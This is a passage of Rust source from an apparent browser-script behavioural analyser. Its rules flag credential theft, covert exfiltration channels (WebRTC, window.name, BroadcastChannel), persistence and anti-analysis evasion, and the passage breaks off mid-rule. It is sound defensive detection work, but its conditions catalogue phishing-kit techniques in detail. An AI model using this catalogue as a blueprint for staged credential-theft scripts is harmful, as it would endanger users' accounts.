1915        !s.intersection_observer_indices.is_empty() || !s.resize_observer_indices.is_empty();
1916    if s.has_credential_surface
1917        && has_layout_observer
1918        && (s.has_external_fetch || !s.storage_write_indices.is_empty())
1919    {
1920        let mut evidence = s.credential_surface_indices.clone();
1921        evidence.extend(&s.fetch_indices);
1922        evidence.extend(&s.storage_write_indices);
1923        evidence.extend(&s.intersection_observer_indices);
1924        evidence.extend(&s.resize_observer_indices);
1925        evidence.sort_unstable();
1926        evidence.dedup();
1927        s.findings.push(BehavioralFinding {
1928            severity: Severity::Critical,
1929            category: Category::CredentialTheft,
1930            title: "Observer-driven staged credential injection".into(),
1931            detail: "Script combines a credential surface with IntersectionObserver or ResizeObserver and staged delivery, indicating delayed DOM-triggered credential theft".into(),
1932            evidence,
1933        });
1934    }
1935
1936    if s.has_credential_surface
1937        && !s.blob_url_indices.is_empty()
1938        && !s.blob_navigation_indices.is_empty()
1939    {
1940        let mut evidence = s.credential_surface_indices.clone();
1941        evidence.extend(&s.blob_url_indices);
1942        evidence.extend(&s.blob_navigation_indices);
1943        evidence.sort_unstable();
1944        evidence.dedup();
1945        s.findings.push(BehavioralFinding {
1946            severity: Severity::Critical,
1947            category: Category::CredentialTheft,
1948            title: "Blob-backed credential lure".into(),
1949            detail: "Script creates an in-memory blob URL and navigates to it alongside a credential surface, indicating a staged phishing page or hidden payload generated outside normal network-visible URLs".into(),
1950            evidence,
1951        });
1952    }
1953
1954    if !s.credential_api_indices.is_empty() && s.has_external_fetch {
1955        let mut evidence = s.credential_api_indices.clone();
1956        evidence.extend(&s.fetch_indices);
1957        evidence.sort_unstable();
1958        evidence.dedup();
1959        s.findings.push(BehavioralFinding {
1960            severity: Severity::Critical,
1961            category: Category::CredentialTheft,
1962            title: "Credential API abuse with off-origin activity".into(),
1963            detail: "Script uses the browser Credential Management API and also communicates off-origin, indicating managed credential capture tied to external exfiltration or staged phishing flow".into(),
1964            evidence,
1965        });
1966    }
1967
1968    if (s.has_credential_surface || !s.credential_api_indices.is_empty())
1969        && !s.indexed_db_indices.is_empty()
1970        && (s.has_external_fetch || !s.service_worker_indices.is_empty())
1971    {
1972        let mut evidence = s.credential_surface_indices.clone();
1973        evidence.extend(&s.credential_api_indices);
1974        evidence.extend(&s.indexed_db_indices);
1975        evidence.extend(&s.fetch_indices);
1976        evidence.extend(&s.service_worker_indices);
1977        evidence.sort_unstable();
1978        evidence.dedup();
1979        s.findings.push(BehavioralFinding {
1980            severity: Severity::Critical,
1981            category: Category::Persistence,
1982            title: "IndexedDB-backed credential staging".into(),
1983            detail: "Script combines a credential surface or managed credential API with IndexedDB persistence and downstream off-origin or service-worker activity, indicating durable staged credential theft rather than a disposable page".into(),
1984            evidence,
1985        });
1986    }
1987
1988    if !s.popup_indices.is_empty() && !s.postmessage_indices.is_empty() {
1989        let mut evidence = s.popup_indices.clone();
1990        evidence.extend(&s.postmessage_indices);
1991        s.findings.push(BehavioralFinding {
1992            severity: Severity::Critical,
1993            category: Category::CredentialTheft,
1994            title: "Cross-window credential handoff".into(),
1995            detail: "Script opens a secondary window and relays data across contexts, a common hosted-login and OAuth phishing pattern".into(),
1996            evidence,
1997        });
1998    }
1999
2000    if !s.service_worker_indices.is_empty() && s.has_storage_write && s.has_external_fetch {
2001        let mut evidence = s.service_worker_indices.clone();
2002        evidence.extend(&s.storage_write_indices);
2003        evidence.extend(&s.fetch_indices);
2004        evidence.sort_unstable();
2005        evidence.dedup();
2006        s.findings.push(BehavioralFinding {
2007            severity: Severity::Critical,
2008            category: Category::Persistence,
2009            title: "Persistent staged phishing/exfiltration".into(),
2010            detail: "Script registers a ServiceWorker, stores local state, and communicates externally  -  persistent multi-step abuse rather than a one-shot payload".into(),
2011            evidence,
2012        });
2013    }
2014
2015    if !s.long_delay_timer_indices.is_empty()
2016        && !s.service_worker_indices.is_empty()
2017        && s.has_storage_write
2018        && s.has_external_fetch
2019    {
2020        let mut evidence = s.long_delay_timer_indices.clone();
2021        evidence.extend(&s.service_worker_indices);
2022        evidence.extend(&s.storage_write_indices);
2023        evidence.extend(&s.fetch_indices);
2024        evidence.sort_unstable();
2025        evidence.dedup();
2026        s.findings.push(BehavioralFinding {
2027            severity: Severity::Critical,
2028            category: Category::Persistence,
2029            title: "Delayed persistent staged abuse".into(),
2030            detail: "Script waits behind a long-delay timer, then registers persistent browser state and communicates externally  -  a durable staged campaign designed to outlive initial analysis".into(),
2031            evidence,
2032        });
2033    }
2034
2035    if s.has_credential_surface
2036        && !s.storage_write_indices.is_empty()
2037        && (!s.notification_create_indices.is_empty() || !s.service_worker_indices.is_empty())
2038    {
2039        let mut evidence = s.credential_surface_indices.clone();
2040        evidence.extend(&s.storage_write_indices);
2041        evidence.extend(&s.notification_create_indices);
2042        evidence.extend(&s.service_worker_indices);
2043        evidence.sort_unstable();
2044        evidence.dedup();
2045        s.findings.push(BehavioralFinding {
2046            severity: Severity::Critical,
2047            category: Category::Persistence,
2048            title: "Stateful credential re-entry infrastructure".into(),
2049            detail: "Script combines a credential surface with persisted browser state and an active re-entry mechanism such as notifications or a service worker, indicating a durable phishing campaign rather than a disposable lure".into(),
2050            evidence,
2051        });
2052    }
2053
2054    if s.has_credential_surface
2055        && (!s.worker_indices.is_empty() || !s.websocket_indices.is_empty())
2056        && s.has_external_fetch
2057    {
2058        let mut evidence = s.credential_surface_indices.clone();
2059        evidence.extend(&s.worker_indices);
2060        evidence.extend(&s.websocket_indices);
2061        evidence.extend(&s.fetch_indices);
2062        evidence.sort_unstable();
2063        evidence.dedup();
2064        s.findings.push(BehavioralFinding {
2065            severity: Severity::Critical,
2066            category: Category::CredentialTheft,
2067            title: "Background credential exfiltration channel".into(),
2068            detail: "Script combines a credential collection surface with Worker and/or WebSocket infrastructure to relay stolen data off the main thread or over a persistent channel".into(),
2069            evidence,
2070        });
2071    }
2072
2073    if !s.webrtc_indices.is_empty() && !s.webrtc_data_send_indices.is_empty() {
2074        let mut evidence = s.webrtc_indices.clone();
2075        evidence.extend(&s.webrtc_data_send_indices);
2076        evidence.sort_unstable();
2077        evidence.dedup();
2078        s.findings.push(BehavioralFinding {
2079            severity: Severity::Critical,
2080            category: Category::DataExfiltration,
2081            title: "Covert peer-to-peer exfiltration channel".into(),
2082            detail: "Script initializes WebRTC and transmits data over a RTCDataChannel, a peer-to-peer channel that can bypass standard fetch/XHR monitoring".into(),
2083            evidence,
2084        });
2085    }
2086
2087    if s.has_credential_surface && !s.webrtc_data_send_indices.is_empty() {
2088        let mut evidence = s.credential_surface_indices.clone();
2089        evidence.extend(&s.webrtc_indices);
2090        evidence.extend(&s.webrtc_data_send_indices);
2091        evidence.sort_unstable();
2092        evidence.dedup();
2093        s.findings.push(BehavioralFinding {
2094            severity: Severity::Critical,
2095            category: Category::CredentialTheft,
2096            title: "Credential relay over WebRTC".into(),
2097            detail: "Script exposes a credential surface and relays data over a RTCDataChannel, indicating covert credential theft rather than benign peer connectivity".into(),
2098            evidence,
2099        });
2100    }
2101
2102    if s.has_credential_surface && !s.input_monitor_indices.is_empty() {
2103        let mut evidence = s.credential_surface_indices.clone();
2104        evidence.extend(&s.input_monitor_indices);
2105        evidence.sort_unstable();
2106        evidence.dedup();
2107        let mut events = s.input_monitor_events.clone();
2108        events.sort();
2109        events.dedup();
2110        s.findings.push(BehavioralFinding {
2111            severity: Severity::High,
2112            category: Category::CredentialTheft,
2113            title: "Credential field input interception".into(),
2114            detail: format!(
2115                "Script combines a credential surface with live input monitoring hooks ({}) that can capture credentials before submission",
2116                events.join(", ")
2117            ),
2118            evidence,
2119        });
2120    }
2121
2122    if s.has_credential_surface
2123        && !s.input_monitor_indices.is_empty()
2124        && (s.has_external_fetch
2125            || !s.websocket_indices.is_empty()
2126            || !s.postmessage_indices.is_empty()
2127            || !s.broadcast_channel_indices.is_empty()
2128            || !s.message_port_indices.is_empty()
2129            || !s.storage_event_fire_indices.is_empty())
2130    {
2131        let mut evidence = s.credential_surface_indices.clone();
2132        evidence.extend(&s.input_monitor_indices);
2133        evidence.extend(&s.fetch_indices);
2134        evidence.extend(&s.websocket_indices);
2135        evidence.extend(&s.postmessage_indices);
2136        evidence.extend(&s.broadcast_channel_indices);
2137        evidence.extend(&s.message_port_indices);
2138        evidence.extend(&s.storage_event_register_indices);
2139        evidence.extend(&s.storage_event_fire_indices);
2140        evidence.sort_unstable();
2141        evidence.dedup();
2142        s.findings.push(BehavioralFinding {
2143            severity: Severity::Critical,
2144            category: Category::CredentialTheft,
2145            title: "Interactive credential interception and relay".into(),
2146            detail: "Script monitors user keystrokes or field changes on a credential surface and relays or stages the captured data through outbound channels".into(),
2147            evidence,
2148        });
2149    }
2150
2151    if s.has_credential_surface
2152        && (!s.broadcast_channel_indices.is_empty()
2153            || !s.message_port_indices.is_empty()
2154            || !s.shared_worker_message_indices.is_empty()
2155            || !s.storage_event_fire_indices.is_empty())
2156    {
2157        let mut evidence = s.credential_surface_indices.clone();
2158        evidence.extend(&s.broadcast_channel_indices);
2159        evidence.extend(&s.message_port_indices);
2160        evidence.extend(&s.shared_worker_message_indices);
2161        evidence.extend(&s.storage_event_register_indices);
2162        evidence.extend(&s.storage_event_fire_indices);
2163        evidence.extend(&s.message_channel_indices);
2164        evidence.sort_unstable();
2165        evidence.dedup();
2166        s.findings.push(BehavioralFinding {
2167            severity: Severity::Critical,
2168            category: Category::CredentialTheft,
2169            title: "Credential relay via in-browser covert channels".into(),
2170            detail: "Script exposes a credential surface and relays payloads over BroadcastChannel, MessagePort, SharedWorker, or storage-event primitives, indicating staged cross-context credential theft".into(),
2171            evidence,
2172        });
2173    }
2174
2175    if s.has_credential_surface && !s.history_state_indices.is_empty() {
2176        let mut evidence = s.credential_surface_indices.clone();
2177        evidence.extend(&s.history_state_indices);
2178        evidence.sort_unstable();
2179        evidence.dedup();
2180        s.findings.push(BehavioralFinding {
2181            severity: Severity::Critical,
2182            category: Category::CredentialTheft,
2183            title: "Credential lure with URL-bar spoofing".into(),
2184            detail: "Script exposes a credential surface while rewriting browser history state via pushState/replaceState, a common phishing technique for hiding the real page URL behind a trusted-looking route".into(),
2185            evidence,
2186        });
2187    }
2188
2189    if s.has_credential_surface && !s.shared_worker_message_indices.is_empty() {
2190        let mut evidence = s.credential_surface_indices.clone();
2191        evidence.extend(&s.shared_worker_message_indices);
2192        evidence.extend(&s.worker_indices);
2193        evidence.sort_unstable();
2194        evidence.dedup();
2195        s.findings.push(BehavioralFinding {
2196            severity: Severity::Critical,
2197            category: Category::CredentialTheft,
2198            title: "Credential relay via SharedWorker".into(),
2199            detail: "Script combines a credential surface with SharedWorker messaging, indicating background cross-tab relay or credential staging outside the main document".into(),
2200            evidence,
2201        });
2202    }
2203
2204    if s.has_credential_surface
2205        && !s.window_name_indices.is_empty()
2206        && (s.has_external_fetch
2207            || !s.popup_indices.is_empty()
2208            || !s.postmessage_indices.is_empty()
2209            || !s.broadcast_channel_indices.is_empty()
2210            || !s.message_port_indices.is_empty())
2211    {
2212        let mut evidence = s.credential_surface_indices.clone();
2213        evidence.extend(&s.window_name_indices);
2214        evidence.extend(&s.fetch_indices);
2215        evidence.extend(&s.popup_indices);
2216        evidence.extend(&s.postmessage_indices);
2217        evidence.extend(&s.broadcast_channel_indices);
2218        evidence.extend(&s.message_port_indices);
2219        evidence.sort_unstable();
2220        evidence.dedup();
2221        s.findings.push(BehavioralFinding {
2222            severity: Severity::Critical,
2223            category: Category::CredentialTheft,
2224            title: "Credential relay via window.name".into(),
2225            detail: "Script uses window.name as a cross-navigation covert channel alongside a credential surface and downstream relay or exfiltration primitives".into(),
2226            evidence,
2227        });
2228    }
2229
2230    if (!s.broadcast_channel_indices.is_empty()
2231        || !s.message_channel_indices.is_empty()
2232        || !s.message_port_indices.is_empty()
2233        || !s.storage_event_register_indices.is_empty()
2234        || !s.storage_event_fire_indices.is_empty())
2235        && (!s.worker_indices.is_empty()
2236            || !s.service_worker_indices.is_empty()
2237            || !s.popup_indices.is_empty()
2238            || s.has_external_fetch
2239            || s.has_storage_write)
2240    {
2241        let mut evidence = s.broadcast_channel_indices.clone();
2242        evidence.extend(&s.message_channel_indices);
2243        evidence.extend(&s.message_port_indices);
2244        evidence.extend(&s.storage_event_register_indices);
2245        evidence.extend(&s.storage_event_fire_indices);
2246        evidence.extend(&s.window_name_indices);
2247        evidence.extend(&s.shared_worker_message_indices);
2248        evidence.extend(&s.worker_indices);
2249        evidence.extend(&s.service_worker_indices);
2250        evidence.extend(&s.popup_indices);
2251        evidence.extend(&s.fetch_indices);
2252        evidence.extend(&s.storage_write_indices);
2253        evidence.sort_unstable();
2254        evidence.dedup();
2255        s.findings.push(BehavioralFinding {
2256            severity: Severity::Critical,
2257            category: Category::Persistence,
2258            title: "Covert multi-context staging infrastructure".into(),
2259            detail: "Script combines in-browser relay channels with background workers, popup pivots, storage-event coordination, persistence state, or off-origin traffic, indicating coordinated staged abuse across multiple execution contexts".into(),
2260            evidence,
2261        });
2262    }
2263
2264    if !s.storage_event_fire_indices.is_empty()
2265        && (!s.worker_indices.is_empty()
2266            || !s.service_worker_indices.is_empty()
2267            || !s.popup_indices.is_empty()
2268            || s.has_external_fetch
2269            || s.has_storage_write)
2270    {
2271        let mut evidence = s.storage_event_register_indices.clone();
2272        evidence.extend(&s.storage_event_fire_indices);
2273        evidence.extend(&s.worker_indices);
2274        evidence.extend(&s.service_worker_indices);
2275        evidence.extend(&s.popup_indices);
2276        evidence.extend(&s.fetch_indices);
2277        evidence.extend(&s.storage_write_indices);
2278        evidence.sort_unstable();
2279        evidence.dedup();
2280        s.findings.push(BehavioralFinding {
2281            severity: Severity::Critical,
2282            category: Category::Persistence,
2283            title: "Cross-tab storage-event staging".into(),
2284            detail: "Script uses storage events as a cross-tab covert channel alongside persistence state, background execution, popup pivots, or off-origin activity, indicating durable staged abuse across same-origin contexts".into(),
2285            evidence,
2286        });
2287    }
2288
2289    if !s.window_name_indices.is_empty()
2290        && (!s.popup_indices.is_empty()
2291            || !s.service_worker_indices.is_empty()
2292            || !s.worker_indices.is_empty()
2293            || s.has_external_fetch)
2294    {
2295        let mut evidence = s.window_name_indices.clone();
2296        evidence.extend(&s.popup_indices);
2297        evidence.extend(&s.service_worker_indices);
2298        evidence.extend(&s.worker_indices);
2299        evidence.extend(&s.fetch_indices);
2300        evidence.sort_unstable();
2301        evidence.dedup();
2302        s.findings.push(BehavioralFinding {
2303            severity: Severity::Critical,
2304            category: Category::Persistence,
2305            title: "Cross-navigation covert staging via window.name".into(),
2306            detail: "Script combines window.name relay state with popup, worker, service-worker, or off-origin activity, indicating staged abuse that survives navigation boundaries".into(),
2307            evidence,
2308        });
2309    }
2310
2311    if (!s.worker_indices.is_empty() || !s.service_worker_indices.is_empty())
2312        && !s.websocket_indices.is_empty()
2313        && s.has_external_fetch
2314    {
2315        let mut evidence = s.worker_indices.clone();
2316        evidence.extend(&s.service_worker_indices);
2317        evidence.extend(&s.websocket_indices);
2318        evidence.extend(&s.fetch_indices);
2319        evidence.sort_unstable();
2320        evidence.dedup();
2321        s.findings.push(BehavioralFinding {
2322            severity: Severity::Critical,
2323            category: Category::Persistence,
2324            title: "Background staged exfiltration infrastructure".into(),
2325            detail: "Script establishes background execution and a persistent network channel, indicating durable staged abuse rather than a one-shot page action".into(),
2326            evidence,
2327        });
2328    }
2329
2330    if s.has_credential_surface && s.has_fingerprint_access {
2331        let mut evidence = s.credential_surface_indices.clone();
2332        evidence.extend(&s.fingerprint_indices);
2333        s.findings.push(BehavioralFinding {
2334            severity: Severity::High,
2335            category: Category::Evasion,
2336            title: "Environment-aware credential harvest".into(),
2337            detail: "Script combines fingerprinting or environment checks with a credential collection surface, indicating gated or persona-dependent phishing behavior".into(),
2338            evidence,
2339        });
2340    }
2341
2342    let webauthn_targeting = s.fingerprint_apis.iter().any(|api| {
2343        matches!(
2344            api.as_str(),
2345            "PublicKeyCredential.create"
2346                | "PublicKeyCredential.get"
2347                | "PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable"
2348                | "PublicKeyCredential.isConditionalMediationAvailable"
2349        )
2350    });
2351    if webauthn_targeting
2352        && (s.has_external_fetch
2353            || !s.external_credential_action_indices.is_empty()
2354            || !s.popup_indices.is_empty())
2355    {
2356        let mut evidence = s.credential_api_indices.clone();
2357        evidence.extend(&s.fetch_indices);
2358        evidence.extend(&s.external_credential_action_indices);
2359        evidence.extend(&s.popup_indices);
2360        evidence.sort_unstable();
2361        evidence.dedup();
2362        s.findings.push(BehavioralFinding {
2363            severity: if !s.external_credential_action_indices.is_empty() {
2364                Severity::Critical
2365            } else {
2366                Severity::High
2367            },
2368            category: if !s.external_credential_action_indices.is_empty() {
2369                Category::CredentialTheft
2370            } else {
2371                Category::Evasion
2372            },
2373            title: "Passkey/WebAuthn-targeted staged credential flow".into(),
2374            detail: "Script probes or invokes WebAuthn/passkey APIs before staged delivery or credential action, indicating credential targeting adapted to passkey-capable environments".into(),
2375            evidence,
2376        });
2377    }
2378
2379    let local_data_targeting = s.fingerprint_apis.iter().any(|api| {
2380        matches!(
2381            api.as_str(),
2382            "showOpenFilePicker"
2383                | "showSaveFilePicker"
2384                | "showDirectoryPicker"
2385                | "navigator.contacts.select"
2386                | "navigator.share"
2387        )
2388    });
2389    if local_data_targeting
2390        && (s.has_external_fetch
2391            || !s.external_credential_action_indices.is_empty()
2392            || !s.popup_indices.is_empty())
2393    {
2394        let mut evidence = s.fingerprint_indices.clone();
2395        evidence.extend(&s.fetch_indices);
2396        evidence.extend(&s.external_credential_action_indices);
2397        evidence.extend(&s.popup_indices);
2398        evidence.sort_unstable();
2399        evidence.dedup();
2400        s.findings.push(BehavioralFinding {
2401            severity: if !s.external_credential_action_indices.is_empty() {
2402                Severity::Critical
2403            } else {
2404                Severity::High
2405            },
2406            category: if !s.external_credential_action_indices.is_empty() {
2407                Category::CredentialTheft
2408            } else {
2409                Category::Evasion
2410            },
2411            title: "Local data-targeting staged flow".into(),
2412            detail: "Script touches local file, contact, or share surfaces before staged delivery or credential action, indicating adaptive attempts to capture user-held data or push staged content".into(),
2413            evidence,
2414        });
2415    }
2416
2417    let capture_device_targeting = s.fingerprint_apis.iter().any(|api| {
2418        matches!(
2419            api.as_str(),
2420            "navigator.mediaDevices.getUserMedia"
2421                | "navigator.mediaDevices.getDisplayMedia"
2422                | "navigator.mediaDevices.enumerateDevices"
2423        )
2424    });
2425    if capture_device_targeting
2426        && (s.has_external_fetch
2427            || !s.external_credential_action_indices.is_empty()
2428            || !s.popup_indices.is_empty())
2429    {
2430        let mut evidence = s.fingerprint_indices.clone();
2431        evidence.extend(&s.fetch_indices);
2432        evidence.extend(&s.external_credential_action_indices);
2433        evidence.extend(&s.popup_indices);
2434        evidence.sort_unstable();
2435        evidence.dedup();
2436        s.findings.push(BehavioralFinding {
2437            severity: if !s.external_credential_action_indices.is_empty() {
2438                Severity::Critical
2439            } else {
2440                Severity::High
2441            },
2442            category: if !s.external_credential_action_indices.is_empty() {
2443                Category::CredentialTheft
2444            } else {
2445                Category::Evasion
2446            },
2447            title: "Capture-device-targeted staged flow".into(),
2448            detail: "Script probes camera, microphone, screen capture, or device inventory before staged delivery or credential action, indicating adaptive targeting of live user context rather than a static page lure".into(),
2449            evidence,
2450        });
2451    }
2452
2453    let install_surface_targeting = s.fingerprint_apis.iter().any(|api| {
2454        matches!(
2455            api.as_str(),
2456            "navigator.registerProtocolHandler"
2457                | "navigator.setAppBadge"
2458                | "navigator.clearAppBadge"
2459                | "launchQueue.setConsumer"
2460        )
2461    });
2462    if install_surface_targeting
2463        && (s.has_external_fetch
2464            || !s.service_worker_indices.is_empty()
2465            || s.has_storage_write
2466            || !s.external_credential_action_indices.is_empty())
2467    {
2468        let mut evidence = s.fingerprint_indices.clone();
2469        evidence.extend(&s.fetch_indices);
2470        evidence.extend(&s.service_worker_indices);
2471        evidence.extend(&s.storage_write_indices);
2472        evidence.extend(&s.external_credential_action_indices);
2473        evidence.sort_unstable();
2474        evidence.dedup();
2475        s.findings.push(BehavioralFinding {
2476            severity: if !s.external_credential_action_indices.is_empty() {
2477                Severity::Critical
2478            } else {
2479                Severity::High
2480            },
2481            category: if !s.external_credential_action_indices.is_empty() {
2482                Category::CredentialTheft
2483            } else {
2484                Category::Persistence
2485            },
2486            title: "Install-surface persistence staging".into(),
2487            detail: "Script combines install or launch surfaces with storage, service-worker registration, or staged delivery, indicating an attempt to make abuse durable beyond a one-shot page interaction".into(),
2488            evidence,
2489        });
2490    }
2491
2492    let offline_push_persistence = s.fingerprint_apis.iter().any(|api| {
2493        matches!(
2494            api.as_str(),
2495            "caches.open"
2496                | "cache.put"
2497                | "cache.match"
2498                | "cache.add"
2499                | "cache.addAll"
2500                | "pushManager.subscribe"
2501                | "sync.register"
2502                | "periodicSync.register"
2503        )
2504    });
2505    if offline_push_persistence
2506        && (s.has_external_fetch
2507            || !s.service_worker_indices.is_empty()
2508            || s.has_storage_write
2509            || !s.external_credential_action_indices.is_empty())
2510    {
2511        let mut evidence = s.fingerprint_indices.clone();
2512        evidence.extend(&s.fetch_indices);
2513        evidence.extend(&s.service_worker_indices);
2514        evidence.extend(&s.storage_write_indices);
2515        evidence.extend(&s.external_credential_action_indices);
2516        evidence.sort_unstable();
2517        evidence.dedup();
2518        s.findings.push(BehavioralFinding {
2519            severity: if !s.external_credential_action_indices.is_empty() {
2520                Severity::Critical
2521            } else {
2522                Severity::High
2523            },
2524            category: if !s.external_credential_action_indices.is_empty() {
2525                Category::CredentialTheft
2526            } else {
2527                Category::Persistence
2528            },
2529            title: "Offline/push persistence staging".into(),
2530            detail: "Script combines cache, push, or background sync surfaces with service-worker registration, durable state, staged delivery, or credential actions, indicating background persistence beyond a one-shot lure".into(),
2531            evidence,
2532        });
2533    }
2534
2535    let analysis_gating = s.fingerprint_apis.iter().any(|api| {
2536        matches!(
2537            api.as_str(),
2538            "document.visibilityState" | "document.hidden" | "navigator.webdriver"
2539        )
2540    });
2541    if analysis_gating && s.has_external_fetch {
2542        let mut evidence = s.fingerprint_indices.clone();
2543        evidence.extend(&s.fetch_indices);
2544        evidence.sort_unstable();
2545        evidence.dedup();
2546        s.findings.push(BehavioralFinding {
2547            severity: Severity::High,
2548            category: Category::Evasion,
2549            title: "Analysis-aware environment gating".into(),
2550            detail: "Script checks visibility or automation-sensitive browser state before communicating externally, indicating deliberate anti-analysis or sandbox gating".into(),
2551            evidence,
2552        });
2553    }
2554
2555    let self_source_read = s
2556        .fingerprint_apis
2557        .iter()
2558        .any(|api| api == "document.currentScript");
2559    if self_source_read && !s.dynamic_code_indices.is_empty() {
2560        let mut evidence = s.fingerprint_indices.clone();
2561        evidence.extend(&s.dynamic_code_indices);
2562        evidence.sort_unstable();
2563        evidence.dedup();
2564        s.findings.push(BehavioralFinding {
2565            severity: Severity::High,
2566            category: Category::Evasion,
2567            title: "Self-referential dynamic loader".into(),
2568            detail: "Script reads document.currentScript and executes dynamic code, indicating self-inspection or self-modifying staged obfuscation".into(),
2569            evidence,
2570        });
2571    }
2572
2573    if !s.long_delay_timer_indices.is_empty() && s.has_external_fetch && s.has_fingerprint_access {
2574        let mut evidence = s.long_delay_timer_indices.clone();
2575        evidence.extend(&s.fetch_indices);
2576        evidence.extend(&s.fingerprint_indices);
2577        evidence.sort_unstable();
2578        evidence.dedup();
2579        s.findings.push(BehavioralFinding {
2580            severity: Severity::High,
2581            category: Category::Evasion,
2582            title: "Fingerprint-gated delayed network staging".into(),
2583            detail: "Script fingerprints the environment, then defers outbound activity with long-delay timers  -  a common anti-analysis and staged-delivery pattern".into(),
2584            evidence,
2585        });
2586    }
2587
2588    if !s.long_delay_timer_indices.is_empty() && s.has_credential_surface {
2589        let mut evidence = s.long_delay_timer_indices.clone();
2590        evidence.extend(&s.credential_surface_indices);
2591        evidence.sort_unstable();
2592        evidence.dedup();
2593        s.findings.push(BehavioralFinding {
2594            severity: Severity::High,
2595            category: Category::CredentialTheft,
2596            title: "Delayed credential lure activation".into(),
2597            detail: "Script defers a credential collection surface behind long-delay timers, indicating staged or time-gated phishing behavior".into(),
2598            evidence,
2599        });
2600    }
2601
2602    if !s.scheduler_indices.is_empty()
2603        && (!s.service_worker_indices.is_empty() || !s.worker_indices.is_empty())
2604        && s.has_external_fetch
2605    {
2606        let mut evidence = s.scheduler_indices.clone();
2607        evidence.extend(&s.service_worker_indices);
2608        evidence.extend(&s.worker_indices);
2609        evidence.extend(&s.fetch_indices);
2610        evidence.sort_unstable();
2611        evidence.dedup();
2612        s.findings.push(BehavioralFinding {
2613            severity: Severity::High,
2614            category: Category::Evasion,
2615            title: "Scheduler-driven delayed staging".into(),
2616            detail: "Script uses the Scheduler API together with background execution or off-origin activity, indicating intentionally deferred multi-step staging".into(),
2617            evidence,
2618        });
2619    }
2620
2621    if !s.trusted_types_indices.is_empty() && (s.has_external_fetch || s.has_credential_surface) {
2622        let mut evidence = s.trusted_types_indices.clone();
2623        evidence.extend(&s.fetch_indices);
2624        evidence.extend(&s.credential_surface_indices);
2625        evidence.sort_unstable();
2626        evidence.dedup();
2627        s.findings.push(BehavioralFinding {
2628            severity: Severity::High,
2629            category: Category::Evasion,
2630            title: "Trusted Types policy used in staged runtime flow".into(),
2631            detail: "Script creates a Trusted Types policy alongside credential surfaces or off-origin activity, indicating a more sophisticated staged runtime than a simple lure".into(),
2632            evidence,
2633        });
2634    }
2635
2636    let render_audio_fingerprinting = s.fingerprint_apis.iter().any(|api| {
2637        api.starts_with("canvas.measureText")
2638            || api.starts_with("canvas.getImageData")
2639            || api.starts_with("canvas.toDataURL")
2640            || api.starts_with("canvas.getContext.")
2641            || api.starts_with("webgl.getParameter")
2642            || api.starts_with("webgl.getSupportedExtensions")
2643            || api.starts_with("webgl.readPixels")
2644            || api.starts_with("audio.createOscillator")
2645            || api.starts_with("audio.createAnalyser")
2646            || api.starts_with("audio.getFloatFrequencyData")
2647            || api.starts_with("audio.resume")
2648            || api.starts_with("audio.startRendering")
2649            || api.ends_with(".construct")
2650    });
2651    if render_audio_fingerprinting && (s.has_external_fetch || !s.websocket_indices.is_empty()) {
2652        let mut evidence = s.fingerprint_indices.clone();
2653        evidence.extend(&s.fetch_indices);
2654        evidence.extend(&s.websocket_indices);
2655        evidence.sort_unstable();
2656        evidence.dedup();
2657        s.findings.push(BehavioralFinding {
2658            severity: Severity::High,
2659            category: Category::Fingerprinting,
2660            title: "Render/audio fingerprinting with outbound delivery".into(),
2661            detail: "Script probes canvas, WebGL, or audio rendering surfaces and then performs off-origin delivery, a strong fingerprint-then-exfiltrate pattern".into(),
2662            evidence,
2663        });
2664    }
2665
2666    let resource_environment_probing = s.fingerprint_apis.iter().any(|api| {
2667        matches!(
2668            api.as_str(),
2669            "navigator.storage.estimate" | "navigator.getBattery" | "navigator.wakeLock.request"
2670        )
2671    });
2672    if resource_environment_probing
2673        && (s.has_external_fetch
2674            || !s.popup_indices.is_empty()
2675            || !s.external_credential_action_indices.is_empty())
2676    {
2677        let mut evidence = s.fingerprint_indices.clone();
2678        evidence.extend(&s.fetch_indices);
2679        evidence.extend(&s.popup_indices);
2680        evidence.extend(&s.external_credential_action_indices);
2681        evidence.sort_unstable();
2682        evidence.dedup();
2683        s.findings.push(BehavioralFinding {
2684            severity: if !s.external_credential_action_indices.is_empty() {
2685                Severity::Critical
2686            } else {
2687                Severity::High
2688            },
2689            category: if !s.external_credential_action_indices.is_empty() {
2690                Category::CredentialTheft
2691            } else {
2692                Category::Evasion
2693            },
2694            title: "Resource/power-aware staged targeting".into(),
2695            detail: "Script probes storage quota, battery state, or wake-lock capability before staged delivery, indicating environment-aware targeting rather than ordinary feature use".into(),
2696            evidence,
2697        });
2698    }
2699
2700    if !s.crypto_decrypt_indices.is_empty()
2701        && (s.has_external_fetch
2702            || s.has_credential_surface
2703            || !s.external_credential_action_indices.is_empty())
2704    {
2705        let mut evidence = s.crypto_decrypt_indices.clone();
2706        evidence.extend(&s.crypto_import_key_indices);
2707        evidence.extend(&s.fetch_indices);
2708        evidence.extend(&s.credential_surface_indices);
2709        evidence.extend(&s.external_credential_action_indices);
2710        evidence.sort_unstable();
2711        evidence.dedup();
2712        s.findings.push(BehavioralFinding {
2713            severity: Severity::High,
2714            category: Category::CodeInjection,
2715            title: "Encrypted payload staging and action delivery".into(),
2716            detail: "Script uses WebCrypto decryption together with credential collection or off-origin activity, indicating encrypted staging rather than benign integrity checking".into(),
2717            evidence,
2718        });
2719    }
2720
2721    if !s.crypto_decrypt_indices.is_empty() && !s.dynamic_code_indices.is_empty() {
2722        let mut evidence = s.crypto_decrypt_indices.clone();
2723        evidence.extend(&s.dynamic_code_indices);
2724        evidence.sort_unstable();
2725        evidence.dedup();
2726        s.findings.push(BehavioralFinding {
2727            severity: Severity::Critical,
2728            category: Category::CodeInjection,
2729            title: "Decrypted payload executed via dynamic code".into(),
2730            detail: "Script decrypts content with WebCrypto and then reaches dynamic code execution, a strong indicator of encrypted loader behavior".into(),
2731            evidence,
2732        });
2733    }
2734
2735    if !s.wasm_indices.is_empty() && s.has_external_fetch {
2736        let mut evidence = s.wasm_indices.clone();
2737        evidence.extend(&s.fetch_indices);
2738        evidence.sort_unstable();
2739        evidence.dedup();
2740        s.findings.push(BehavioralFinding {
2741            severity: Severity::High,
2742            category: Category::CodeInjection,
2743            title: "WASM-backed staged payload delivery".into(),
2744            detail: "Script instantiates or compiles WebAssembly before off-origin network delivery, indicating staged payload decoding or hidden loader behavior".into(),
2745            evidence,
2746        });
2747    }
2748
2749    if !s.wasm_indices.is_empty() && !s.dynamic_code_indices.is_empty() {
2750        let mut evidence = s.wasm_indices.clone();
2751        evidence.extend(&s.dynamic_code_indices);
2752        evidence.sort_unstable();
